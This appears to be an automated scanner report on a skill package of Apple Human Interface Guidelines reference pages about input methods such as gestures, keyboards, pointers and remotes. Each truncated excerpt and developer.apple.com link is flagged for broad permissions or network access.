## [Change log](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Change-log)
skills/hig-inputs/references/camera-control.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Camera Control | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/camera-control - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/camera-control - Network accessline 9
 - Network accessline 13
 - Network accessline 17
Controls in the overlay - Network accessline 19
## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/camera-control#Anatomy) - Network accessline 30
Slider control - Network accessline 32
Picker control - Network accessline 36
Zoom factor control - Network accessline 38
Exposure bias c - Network accessline 40
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/camera-control#Best-practices) - Network accessline 42
**Use SF Symbols to represent control functionality.** The system doesn’t support custom symbols; instead, pick a symbol from SF Symbols that clearly denotes a control’s behavior. iOS offers thousands of symbols you can use to represent the - Network accessline 44
Value with context - Network accessline 56
Value without context - Network accessline 60
**Define prominent values for a slider control.** Prominent values are ones people choose most frequently, or values that are evenly spaced, like the major increments of zoom factor. When a person slides on the Camera Control to adjust a sl - Network accessline 64
Keep UI minimal. - Network accessline 72
Avoid showing controls in the viewfinder that people access in the overlay. - Network accessline 80
**Allow people to use the Camera Control to launch your experience from anywhere.** Create a locked camera capture extension that lets people configure the Camera Control to launch your app’s camera experience from their locked device, the - Network accessline 82
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/camera-control#Platform-considerations) - Network accessline 86
## [Resources](https://developer.apple.com/design/human-interface-guidelines/camera-control#Resources) - Network accessline 88
#### [Related](https://developer.apple.com/design/human-interface-guidelines/camera-control#Related) - Network accessline 90
[SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) - Network accessline 92
[Controls](https://developer.apple.com/design/human-interface-guidelines/controls) - Network accessline 94
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/camera-control#Developer-documentation) - Network accessline 96
[Enhancing your app experience with the Camera Control](https://developer.apple.com/documentation/AVFoundation/enhancing-your-app-experience-with-the-camera-control) — AVFoundation - Network accessline 98
[`AVCaptureControl`](https://developer.apple.com/documentation/AVFoundation/AVCaptureControl) — AVFoundation - Network accessline 100
[LockedCameraCapture](https://developer.apple.com/documentation/LockedCameraCapture) - Network accessline 102
## [Change log](https://developer.apple.com/design/human-interface-guidelines/camera-control#Change-log)
skills/hig-inputs/references/digital-crown.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Digital Crown | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/digital-crown - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/digital-crown - Network accessline 9
 - Network accessline 23
* Adjust the amount of immersion in a portal, an Environment, or an app or game running in a Full Space (for guidance, see [Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences)) - Network accessline 34
## [Apple Watch](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Apple-Watch) - Network accessline 58
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Platform-considerations) - Network accessline 62
## [Resources](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Resources) - Network accessline 64
#### [Related](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Related) - Network accessline 66
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 68
[Action button](https://developer.apple.com/design/human-interface-guidelines/action-button) - Network accessline 70
[Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences) - Network accessline 72
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Developer-documentation) - Network accessline 74
[`WKCrownDelegate`](https://developer.apple.com/documentation/WatchKit/WKCrownDelegate) — WatchKit - Network accessline 76
## [Change log](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Change-log)
skills/hig-inputs/references/eyes.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Eyes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/eyes - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/eyes - Network accessline 9
 - Network accessline 29
**Always give people multiple ways to interact with your app.** Design your app to support the accessibility features people use to personalize the ways they interact with their devices. For guidance, see [Accessibility](https://developer.a - Network accessline 31
**Design for visual comfort.** Help people accomplish their primary task by making sure that the objects they need to use are within their [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of - Network accessline 37
## [Making items easy to see](https://developer.apple.com/design/human-interface-guidelines/eyes#Making-items-easy-to-see) - Network accessline 41
**Make it easy for people to look at an item by providing enough space around it.** Because eyes naturally tend to make small, quick adjustments in direction even while people are looking at one place, crowding UI objects together can make - Network accessline 45
## [Encouraging interaction](https://developer.apple.com/design/human-interface-guidelines/eyes#Encouraging-interaction) - Network accessline 51
 - Network accessline 53
 - Network accessline 55
 - Network accessline 57
 - Network accessline 61
## [Custom hover effects](https://developer.apple.com/design/human-interface-guidelines/eyes#Custom-hover-effects) - Network accessline 86
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/eyes#Platform-considerations) - Network accessline 90
## [Resources](https://developer.apple.com/design/human-interface-guidelines/eyes#Resources) - Network accessline 92
#### [Related](https://developer.apple.com/design/human-interface-guidelines/eyes#Related) - Network accessline 94
[Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences) - Network accessline 96
[Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures) - Network accessline 98
[Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout) - Network accessline 100
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/eyes#Developer-documentation) - Network accessline 102
[Adopting best practices for privacy and user preferences](https://developer.apple.com/documentation/visionOS/adopting-best-practices-for-privacy) — visionOS - Network accessline 104
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/eyes#Videos) - Network accessline 106
[ Design hover interactions for visionOS ](https://developer.apple.com/videos/play/ - Network accessline 108
[ Design for spatial input ](https://developer.apple.com/videos/play/wwdc2023/10073) - Network accessline 110
[ Design considerations for vision and motion ](https://developer.apple.com/videos/p - Network accessline 112
## [Change log](https://developer.apple.com/design/human-interface-guidelines/eyes#Change-log)
skills/hig-inputs/references/focus-and-selection.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Focus and selection | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/focus-and-selection - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/focus-and-selection - Network accessline 9
 - Network accessline 25
**Indicate focus using visual appearances that are consistent with the platform.** For example, consider a window that contains a list of items. In iPadOS and macOS, the system draws focused list items using white text and a background high - Network accessline 29
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Platform-considerations) - Network accessline 33
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#iPadOS) - Network accessline 37
The iPadOS and tvOS focus systems are similar. People perform actions by moving a focus indicator to an item and then selecting it (for guidance, see [tvOS](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#t - Network accessline 50
 - Network accessline 72
State| Description ---|--- . - Network accessline 82
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#visionOS) - Network accessline 88
When people look at a virtual object to identify it as the object they want to interact with, the system uses the _hover effect_ , not a focus effect, to provide visual feedback (for guidance, see [Eyes](https://developer.apple.com/design/h - Network accessline 90
## [Resources](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Resources) - Network accessline 92
#### [Related](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Related) - Network accessline 94
[Eyes](https://developer.apple.com/design/human-interface-guidelines/eyes) - Network accessline 96
[Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards) - Network accessline 98
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Developer-documentation) - Network accessline 100
[Focus Attributes](https://developer.apple.com/documentation/TVML/focus-attributes) — TVML - Network accessline 102
[Focus-based navigation](https://developer.apple.com/documentation/UIKit/focus-based-navigation) — UIKit - Network accessline 104
[About focus interactions for Apple TV](https://developer.apple.com/documentation/UIKit/about-focus-interactions-for-apple-tv) — UIKit - Network accessline 106
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Videos) - Network accessline 108
[ Design for spatial input ](https://developer.apple.com/videos/play/wwdc2023/10073) - Network accessline 110
[ Design for spatial user interfaces ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 112
[ Design for the iPadOS pointer ](https://developer.apple.com/videos/play/wwdc2020/10640) - Network accessline 114
## [Change log](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Change-log)
skills/hig-inputs/references/game-controls.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Game controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/game-controls - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/game-controls - Network accessline 9
 - Network accessline 24
For iOS and iPadOS games, supporting touch interaction means that you can provide virtual controls on top of game content while also letting players interact with game elements by touching them directly. You can use the [Touch Controller](h - Network accessline 28
**Place virtual buttons where they’re easy to access.** Take into account the device’s boundaries and [safe areas](https://developer.apple.com/design/human-interface-guidelines/layout#Guides-and-safe-areas) as well as comfortable locations - Network accessline 30
 - Network accessline 36
**Always include visible and tactile press states.** A virtual control feels unresponsive without a visual and physical press state. Help players understand when they successfully interact with a button by adding a visual press state effect - Network accessline 38
 - Network accessline 65
 - Network accessline 69
**Support the platform’s default interaction method.** A game controller is an optional purchase, but every iPhone and iPad has a touchscreen, every Mac has a keyboard and a trackpad or mouse, every Apple TV has a remote, and every Apple Vi - Network accessline 71
**Tell people about game controller requirements.** In tvOS and visionOS, you can require the use of a physical game controller. The App Store displays a “Game Controller Required” badge to help people identify such apps. Remember that peop - Network accessline 73
**Automatically detect whether a controller is paired.** Instead of having players manually set up a physical game controller, you can automatically detect whether a controller is paired and get its profile. For developer documentation, see - Network accessline 75
 available for most elements, including the - Network accessline 100
 - Network accessline 102
## [Keyboards](https://developer.apple.com/design/human-interface-guidelines/game-controls#Keyboards) - Network accessline 114
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/game-controls#Platform-considerations) - Network accessline 118
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/game-controls#visionOS) - Network accessline 120
**Match spatial game controller behavior to hand input.** In addition to supporting a wide array of wireless game controllers, your visionOS game can also support spatial game controllers such as PlayStation VR2 Sense controller. Allow play - Network accessline 122
## [Resources](https://developer.apple.com/design/human-interface-guidelines/game-controls#Resources) - Network accessline 124
#### [Related](https://developer.apple.com/design/human-interface-guidelines/game-controls#Related) - Network accessline 126
[Designing for games](https://developer.apple.com/design/human-interface-guidelines/designing-for-games) - Network accessline 128
[Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures) - Network accessline 130
[Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards) - Network accessline 132
[Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics) - Network accessline 134
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/game-controls#Developer-documentation) - Network accessline 136
[Create games for Apple platforms](https://developer.apple.com/games/) - Network accessline 138
[Touch Controller](https://developer.apple.com/documentation/TouchController) - Network accessline 140
[Game Controller](https://developer.apple.com/documentation/GameController) - Network accessline 142
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/game-controls#Videos) - Network accessline 144
[ Design advanced games for Apple platforms ](https://developer.apple.com/videos/pla - Network accessline 146
[ Tap into virtual and physical game controllers ](https://developer.apple.com/videos/play/wwdc2021/10081) - Network accessline 148
[ Explore game input in visionOS ](https://developer.apple.com/videos/play/wwdc2024/ - Network accessline 150
## [Change log](https://developer.apple.com/design/human-interface-guidelines/game-controls#Change-log)
skills/hig-inputs/references/gestures.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Gestures | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/gestures - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/gestures - Network accessline 9
 - Network accessline 17
**Give people more than one way to interact with your app.** People commonly prefer or need to use other inputs — such as their voice, keyboard, or Switch Control — to interact with their devices. Don’t assume that people can use a specific - Network accessline 25
## [Custom gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Custom-gestures) - Network accessline 46
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/gestures#Platform-considerations) - Network accessline 48
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/gestures#iOS-iPadOS) - Network accessline 50
In addition to the [standard gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures) supported in all platforms, iOS and iPadOS support a few other gestures that people expect. - Network accessline 59
**Consider allowing simultaneous recognition of multiple gestures if it enhances the experience.** Although simultaneous gestures are unlikely to be useful in nongame apps, a game might include multiple onscreen controls — such as a joystic - Network accessline 61
### [macOS](https://developer.apple.com/design/human-interface-guidelines/gestures#macOS) - Network accessline 63
People primarily interact with macOS using a [keyboard](https://developer.apple.com/design/human-interface-guidelines/keyboards) and mouse. In addition, they can make [standard gestures](https://developer.apple.com/design/human-interface-gu - Network accessline 65
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/gestures#tvOS) - Network accessline 67
People expect to use [standard gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures) to navigate tvOS apps and games with a compatible remote, Siri Remote, or [game controller](https://developer - Network accessline 69
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/gestures#visionOS) - Network accessline 89
Here are the standard direct gestures people use in visionOS; see [Specifications](https://developer.apple.com/design/human-interface-guidelines/gestures#Specifications) for a list of standard indirect gestures. - Network accessline 107
#### [Designing custom gestures in visionOS](https://developer.apple.com/design/human-interface-guidelines/gestures#Designing-custom-gestures-in-visionOS) - Network accessline 109
If you want to offer a specific interaction for your experience that people can’t perform using an existing system gesture, consider designing a custom gesture. To offer this type of interaction, your app needs to be running in a Full Space - Network accessline 111
 - Network accessline 131
 - Network accessline 153
#### [Double tap](https://developer.apple.com/design/human-interface-guidelines/gestures#Double-tap) - Network accessline 155
In watchOS 11 and later, people can use the double-tap gesture to scroll through lists and scroll views, and to advance between vertical tab views. Additionally, you can specify a toggle or button as the primary action in your app, or in yo - Network accessline 159
**Choose the button that people use most commonly as the primary action in a view.** Double tap is helpful in a nonscrolling view when it performs the action that people use the most. For example, in a media controls view, you could assign - Network accessline 161
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/gestures#Specifications) - Network accessline 163
### [Standard gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures) - Network accessline 165
The system provides APIs that support the familiar gestures people use with their devices, whether they use a touchscreen, an indirect gesture in visionOS, or an input device like a trackpad, mouse, remote, or game controller. For developer - Network accessline 177
For guidance on supporting additional gestures and button presses on specific input devices, see [Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices), [Remotes](https://developer.apple.com/desig - Network accessline 179
## [Resources](https://developer.apple.com/design/human-interface-guidelines/gestures#Resources) - Network accessline 181
#### [Related](https://developer.apple.com/design/human-interface-guidelines/gestures#Related) - Network accessline 183
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 185
[Eyes](https://developer.apple.com/design/human-interface-guidelines/eyes) - Network accessline 187
[Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics) - Network accessline 189
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/gestures#Developer-documentation) - Network accessline 191
[Gestures](https://developer.apple.com/documentation/SwiftUI/Gestures) — SwiftUI - Network accessline 193
[`UITouch`](https://developer.apple.com/documentation/UIKit/UITouch) — UIKit - Network accessline 195
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/gestures#Videos) - Network accessline 197
[ Enhance your UI animations and transitions ](https://developer.apple.com/videos/pl - Network accessline 199
[ Design for spatial input ](https://developer.apple.com/videos/play/wwdc2023/10073) - Network accessline 201
## [Change log](https://developer.apple.com/design/human-interface-guidelines/gestures#Change-log)
skills/hig-inputs/references/gyro-and-accelerometer.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Gyroscope and accelerometer | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer - Network accessline 9
 - Network accessline 23
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Platform-considerations) - Network accessline 27
## [Resources](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Resources) - Network accessline 29
#### [Related](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Related) - Network accessline 31
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 33
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Developer-documentation) - Network accessline 35
[Getting processed device-motion data](https://developer.apple.com/documentation/CoreMotion/getting-processed-device-motion-data) — Core Motion - Network accessline 37
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Videos) - Network accessline 39
[ Measure health with motion ](https://developer.apple.com/videos/play/wwdc2021/10287)
skills/hig-inputs/references/keyboards.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Keyboards | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/keyboards - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/keyboards - Network accessline 9
 - Network accessline 19
**Support Full Keyboard Access when possible.** Available in iOS, iPadOS, macOS, and visionOS, Full Keyboard Access lets people navigate and activate windows, menus, controls, and system features using only the keyboard. To test Full Keyboa - Network accessline 23
Although iPadOS supports keyboard navigation in text fields, text views, and sidebars, and provides APIs you can use to support it in collection views and other custom views, avoid supporting keyboard navigation for controls, such as button - Network accessline 25
**Respect standard keyboard shortcuts.** While using most apps, people generally expect to rely on the standard keyboard shortcuts that work in other apps and throughout the system. If your app offers a unique action that people perform fre - Network accessline 27
## [Standard keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Standard-keyboard-shortcuts) - Network accessline 162
## [Custom keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Custom-keyboard-shortcuts) - Network accessline 170
Modifier key| Symbol| Recommended usage ---|---|--- Command| | Prefer the Command key as the - Network accessline 171
---|---|--- Command| | Prefer the Command key as the main modifier key in a custom keyboard sho - Network accessline 172
Command| | Prefer the Command key as the main modifier key in a custom keyboard shortcut. - Network accessline 173
Shift| | Prefer the Shift key as a secondary modifier that complements a related shortcut. - Network accessline 174
Option| | Avoid using the Control key as a modifier. The system uses Control in many systemwide feat - Network accessline 185
**Let the system localize and mirror your keyboard shortcuts as needed.** The system automatically localizes a shortcut’s primary and modifier keys to support the currently connected keyboard; if your app or game switches to a right-to-left - Network accessline 189
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/keyboards#Platform-considerations) - Network accessline 193
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/keyboards#visionOS) - Network accessline 195
In visionOS, an app’s keyboard shortcuts appear in the shortcut interface that displays when people hold the Command key on a connected keyboard. Similar in organization to an app’s [menu bar menus](https://developer.apple.com/design/human- - Network accessline 197
**Write descriptive shortcut titles.** Because the shortcut interface displays a flat list of all items in each category, submenu titles aren’t available to provide context for their child items. Make sure each shortcut title is descriptive - Network accessline 207
## [Resources](https://developer.apple.com/design/human-interface-guidelines/keyboards#Resources) - Network accessline 209
#### [Related](https://developer.apple.com/design/human-interface-guidelines/keyboards#Related) - Network accessline 211
[Virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards) - Network accessline 213
[Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data) - Network accessline 215
[Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices) - Network accessline 217
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/keyboards#Developer-documentation) - Network accessline 219
[`KeyboardShortcut`](https://developer.apple.com/documentation/SwiftUI/KeyboardShortcut) — SwiftUI - Network accessline 221
[Input events](https://developer.apple.com/documentation/SwiftUI/Input-events) — SwiftUI - Network accessline 223
[Handling key presses made on a physical keyboard](https://developer.apple.com/documentation/UIKit/handling-key-presses-made-on-a-physical-keyboard) — UIKit - Network accessline 225
[Mouse, Keyboard, and Trackpad](https://developer.apple.com/documentation/AppKit/mouse-keyboard-and-trackpad) — AppKit - Network accessline 227
## [Change log](https://developer.apple.com/design/human-interface-guidelines/keyboards#Change-log)
skills/hig-inputs/references/nearby-interactions.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Nearby interactions | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/nearby-interactions - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/nearby-interactions - Network accessline 9
), and rely on the [Nearby Interaction](https://developer.apple.c - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Best-practices) - Network accessline 29
## [Device usage](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Device-usage) - Network accessline 37
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Platform-considerations) - Network accessline 41
### [iOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#iOS) - Network accessline 45
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#watchOS) - Network accessline 49
## [Resources](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Resources) - Network accessline 51
#### [Related](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Related) - Network accessline 53
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 55
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Developer-documentation) - Network accessline 57
[Nearby Interaction](https://developer.apple.com/documentation/NearbyInteraction) - Network accessline 59
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Videos) - Network accessline 61
[ Design for spatial interaction ](https://developer.apple.com/videos/play/wwdc2021/10245) - Network accessline 63
[ Meet Nearby Interaction ](https://developer.apple.com/videos/play/wwdc2020/10668) - Network accessline 65
## [Change log](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Change-log)
skills/hig-inputs/references/pointing-devices.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Pointing devices | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pointing-devices - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/pointing-devices - Network accessline 9
 - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Platform-considerations) - Network accessline 29
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#iPadOS) - Network accessline 33
**Allow multiple selection in custom views when necessary.** In iPadOS 15 and later, people can click and drag the pointer over multiple items to select them. As people use the pointer in this way, it expands into a visible rectangle that s - Network accessline 37
#### [Pointer shape and content effects](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointer-shape-and-content-effects) - Network accessline 77
#### [Pointer accessories](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointer-accessories) - Network accessline 81
Unlike pointer shapes and content effects, accessories are secondary items that can combine with any pointer to communicate additional information. For developer guidance, see [`UIPointerAccessory`](https://developer.apple.com/documentation - Network accessline 87
#### [Pointer magnetism](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointer-magnetism) - Network accessline 105
#### [Standard pointers and effects](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Standard-pointers-and-effects) - Network accessline 113
* Use hover for large elements and customize the scale, tint, and shadow attributes as needed (for guidance, see [Customizing pointers](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Customizing-pointers)). - Network accessline 122
 - Network accessline 144
 - Network accessline 173
#### [Pointers](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointers) - Network accessline 177
Pointer| Name| Meaning| AppKit API ---|---|---|--- | Ar - Network accessline 178
---|---|---|--- | Arrow| Standard pointer for selecting a - Network accessline 179
| Arrow| Standard pointer for selecting and interacting wit - Network accessline 180
| Closed hand| Dragging to reposition the display of content within a view—for example, dragging a ma - Network accessline 181
| Contextual menu| A contextual menu is availab - Network accessline 182
| Crosshair| Precise rectangular selection is possible, such as when viewing an image in Preview.| [`crosshair` - Network accessline 183
| Disappearing item| A dragged item wil - Network accessline 184
| Drag copy| Duplicates a dragged—not m - Network accessline 185
| Drag link| During a drag and drop operation, creates an alias of the selected - Network accessline 186
| Horizontal I beam| Selection and insertion of text is poss - Network accessline 187
| Open hand| Dragging to reposition content within a view is possible.| [`openHand`](https://developer.a - Network accessline 188
| Operation not allowed| A dragged item can’t be - Network accessline 189
| Pointing hand| The content beneath the pointer is a URL link to a webpage - Network accessline 190
| Resize down| Resize or move a window, view, or element do - Network accessline 191
| Resize left| Resize or move a window, view, or element to the l - Network accessline 192
| Resize left/right| Resize or move a - Network accessline 193
| Resize right| Resize or move a window, view, or element to th - Network accessline 194
| Resize up| Resize or move a window, view, or element upward.| [` - Network accessline 195
| Resize up/down| Resize or move a window - Network accessline 196
| Vertical I beam| Selection and insertion of text is possib - Network accessline 198
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#visionOS) - Network accessline 212
## [Resources](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Resources) - Network accessline 214
#### [Related](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Related) - Network accessline 216
[Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data) - Network accessline 218
[Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards) - Network accessline 220
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Developer-documentation) - Network accessline 222
[Input events](https://developer.apple.com/documentation/SwiftUI/Input-events) — SwiftUI - Network accessline 224
[Pointer interactions](https://developer.apple.com/documentation/UIKit/pointer-interactions) — UIKit - Network accessline 226
[Mouse, Keyboard, and Trackpad](https://developer.apple.com/documentation/AppKit/mouse-keyboard-and-trackpad) — AppKit - Network accessline 228
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Videos) - Network accessline 230
[ Design for the iPadOS pointer ](https://developer.apple.com/videos/play/wwdc2020/10640) - Network accessline 232
## [Change log](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Change-log)
skills/hig-inputs/references/remotes.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Remotes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/remotes - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/remotes - Network accessline 9
 - Network accessline 15
**Prefer using standard gestures to perform standard actions.** Unless people are actively playing a game, they expect the remote to behave in standard ways in every app they use. Redefining or repurposing standard remote behaviors can caus - Network accessline 17
**Be consistent with the tvOS focus experience.** The [focus experience](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection) forges a strong connection between people and the content they’re viewing. Reinforce - Network accessline 27
**In almost all cases, open the parent of the current screen when people press the Back button.** At the top level of an app or game, the parent is the Apple TV Home Screen; within an app, the parent is defined by the app hierarchy, and isn - Network accessline 31
## [Gestures](https://developer.apple.com/design/human-interface-guidelines/remotes#Gestures) - Network accessline 39
## [Buttons](https://developer.apple.com/design/human-interface-guidelines/remotes#Buttons) - Network accessline 50
## [Compatible remotes](https://developer.apple.com/design/human-interface-guidelines/remotes#Compatible-remotes) - Network accessline 52
Some remotes that are compatible with Apple TV include buttons for browsing live TV or other channel-based content. For example, a remote might include a button people can use to open an electronic program guide (EPG) and other buttons they - Network accessline 58
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/remotes#Platform-considerations) - Network accessline 62
## [Resources](https://developer.apple.com/design/human-interface-guidelines/remotes#Resources) - Network accessline 64
#### [Related](https://developer.apple.com/design/human-interface-guidelines/remotes#Related) - Network accessline 66
[Use your Siri Remote or Apple TV Remote with Apple TV](https://support.apple.com/en-us/HT205305)
skills/hig-inputs/references/spatial-interactions.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Nearby interactions | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/spatial-interactions - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/spatial-interactions - Network accessline 9
), and rely on the [Nearby Interaction](https://developer.apple.c - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Best-practices) - Network accessline 29
## [Device usage](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Device-usage) - Network accessline 37
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Platform-considerations) - Network accessline 41
### [iOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#iOS) - Network accessline 45
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#watchOS) - Network accessline 49
## [Resources](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Resources) - Network accessline 51
#### [Related](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Related) - Network accessline 53
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 55
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Developer-documentation) - Network accessline 57
[Nearby Interaction](https://developer.apple.com/documentation/NearbyInteraction) - Network accessline 59
